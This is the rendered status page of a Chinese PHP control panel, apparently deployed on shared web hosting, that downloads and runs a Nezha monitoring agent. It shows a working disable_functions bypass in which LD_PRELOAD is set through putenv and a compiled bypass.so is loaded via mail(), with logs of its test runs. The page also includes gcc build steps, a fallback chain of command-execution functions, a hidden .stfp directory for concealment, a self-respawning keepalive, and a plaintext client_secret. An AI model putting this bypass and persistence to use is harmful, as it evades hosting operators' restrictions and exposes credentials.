哪吒管理面板 v8.11b
nz.zxydk1715.dpdns.org:443 | IP: 154.53.44.13 | UUID: fdcd9987-d85c-4e72-abc4-61369e6ed8c5
🔒 UUID 已锁定 — 保存到 .nezha_uuid，不再随 IP 漂移
✅ 命令执行可用 (proc_open) + 🔓 LD_PRELOAD 绕过就绪
环境
PHP8.1.33 (litespeed)
架构x86_64
系统Linux 5.14.0-570.55.1.el9_6.x86_64
最佳方式proc_open
LD_PRELOAD✅
时间2026-08-28 02:00:20
📋 Agent 日志 实时
最后 29 行
[1787882391] parent return, child pid=2401140
[1787882391] bypass.so loaded, pid=2401139
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] child exec: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] bypass.so loaded, pid=2401142
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] parent return, child pid=2401143
[1787882391] bypass.so loaded, pid=2401142
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] child exec: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] bypass.so loaded, pid=2401145
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] parent return, child pid=2401146
[1787882391] bypass.so loaded, pid=2401145
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] child exec: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] bypass.so loaded, pid=2401148
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] parent return, child pid=2401149
[1787882391] bypass.so loaded, pid=2401148
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] child exec: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] bypass.so loaded, pid=2401151
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] parent return, child pid=2401152
[1787882391] bypass.so loaded, pid=2401151
[1787882391] cmd: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] child exec: echo BYPASS_OK > '/home/mftqtjsi/public_html/.stfp/.nezha_test_1787882390'
[1787882391] bypass.so loaded, pid=2401154
[1787882391] no cmdfile, exit
📋 执行结果
已自动初始化: config, run.sh
下载成功
成功
[PHP curl] 尝试: https://github.com/nezhahq/agent/releases/latest/download/nezha-agent_linux_amd64.zip
[PHP curl] 成功
[ZipArchive] 解压...
[ZipArchive] 成功
🔑 UUID 已锁定
锁定UUIDfdcd9987-d85c-4e72-abc4-61369e6ed8c5
UUID文件存在
进程 未运行
状态❌ 未运行
PID无
检测方式无
详情日志 27s 前更新 (可能已停止)
调试pgrep 找到 1 个 PID 但验证均失败（可能是其他用户的 nezha 进程）
文件
agent存在 18,469,026B可执行 0700
config存在 142B 0644
uuid存在 36B 0600
pid不存在
log存在 18,047B 0644
run.sh存在 8,501B 0755
.htaccess存在 310B 0644
bypass.so存在 15,040B有效 0600
📁 所有文件已集中到 .stfp/ 隐藏目录：
agent / config / uuid / pid / log / run.sh / bypass.so / cmd.sh
外部主目录只剩 index.php 和 .htaccess
🔓 LD_PRELOAD 绕过 可用
原理：putenv 设置 LD_PRELOAD → mail() 触发子进程 → 加载 .so → constructor 执行命令
条件：putenv + mail/error_log + bypass.so
当前：✅ 条件满足 (putenv+mail 可用)
putenv✅ OK - 环境变量设置成功
mail✅ sendmail_path=/usr/sbin/sendmail -t -i
error_log✅
ini_set✅
bypass.so✅ 15040B
C源码❌
💡 「准备绕过环境」按钮会依次尝试：① 从 GitHub 下载 .so → ② gcc 现场编译 .so → ③ 失败兜底写 .c 源码（用于本地编译后上传）
上传 bypass.so 步骤：
1. 点「准备绕过环境」自动下载或生成 C 源码
2. 如自动下载失败，本地用 gcc -shared -fPIC -o nezha_bypass.so nezha_bypass.so.c -nostartfiles 编译
3. 上传 .so 到 .stfp/ 目录，文件名 nezha_bypass.so
4. 点「测试绕过」验证
PHP 函数深度检测 proc_open
降级链: proc_open → popen → exec → shell_exec → system → passthru
error_logerror_log(备选触发器)绕过
✅
🔄 降级链
命令执行: proc_open → popen → exec → shell_exec → system → passthru → LD_PRELOAD 绕过
启动: run.sh → proc_open → popen → exec → LD_PRELOAD → sendmail_path
下载: PHP curl → shell curl → shell wget
解压: ZipArchive → shell unzip
停止: posix_kill → shell kill → LD_PRELOAD kill
网络
GitHub可达
ghgo.xyz可达
ghproxy不可达
TLS✅
TCP✅
🛡️ 自动保活 未开启
三种工作方式（任选其一即可，可叠加）：
① PHP 自循环：开启保活后 PHP 派生后台进程，每 4 小时自动检查+拉起 agent（不需要任何外部触发器）
② 手动访问 URL：你随时可以浏览器访问 start.php 触发一次保活检查
③ 独立 run.sh：把 .stfp/run.sh 拷贝到任意机器/路径，SSH 进去 bash run.sh keepalive 即可保活（适合 PHP 域名不可达的主机）
保活入口https://www.jieke1715.infree.page/start.php
start.php❌ 未生成
PHP自循环—
💡 点击「✅ 开启保活」会同时：
1. 生成 start.php 文件
2. 立即触发首次访问 → 派生 PHP 后台自循环进程（每 4 小时自动检查）
3. 你可以随时手动访问 URL 触发一次保活检查
⚠️ 保活有效性依赖 start.php 和 .stfp/run.sh 文件本身存在
配置
client_secret: "BFbvpxSlBTUugp3gDzezVKkZ22BV0CeL"
server: "nz.zxydk1715.dpdns.org:443"
tls: true
uuid: "fdcd9987-d85c-4e72-abc4-61369e6ed8c5"
哪吒管理面板 v8.11b (LD_PRELOAD 触发恢复 + 安全熔断 + 文件管理器) | mail() 真调版